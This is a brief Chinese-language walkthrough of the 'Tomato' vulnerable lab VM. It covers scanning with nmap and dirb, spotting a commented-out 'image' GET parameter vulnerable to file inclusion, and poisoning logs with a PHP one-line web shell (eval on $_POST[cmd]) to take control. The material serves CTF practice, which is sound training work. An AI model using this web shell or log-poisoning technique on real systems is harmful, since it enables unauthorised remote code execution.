tomato靶场通关详细攻略

确保kali和虚拟机的网络适配器都为NAT

扫描网段

先确定kali的ip为192.168.159.146，

扫描同网段

nmap 192.168.159.146/24

发现还有一个149的ip，虚拟机的ip即为192.168.159.149

访问网站

在物理机访问虚拟机ip

扫描端口

寻找子域

在kali中使用dirb工具

dirb http://192.168.159.149

5.访问网站

访问扫出来的网站

依次点开查看内容

看到敏感信息info.php,点开查看

右键查看一下源代码

发现有个注释掉的get型漏洞

使用image参数发送指令，有回应，存在漏洞

尝试连接写入病毒

<?php eval($_POST[cmd]);?>

尝试登录后我们的木马会来到日志中，链接即可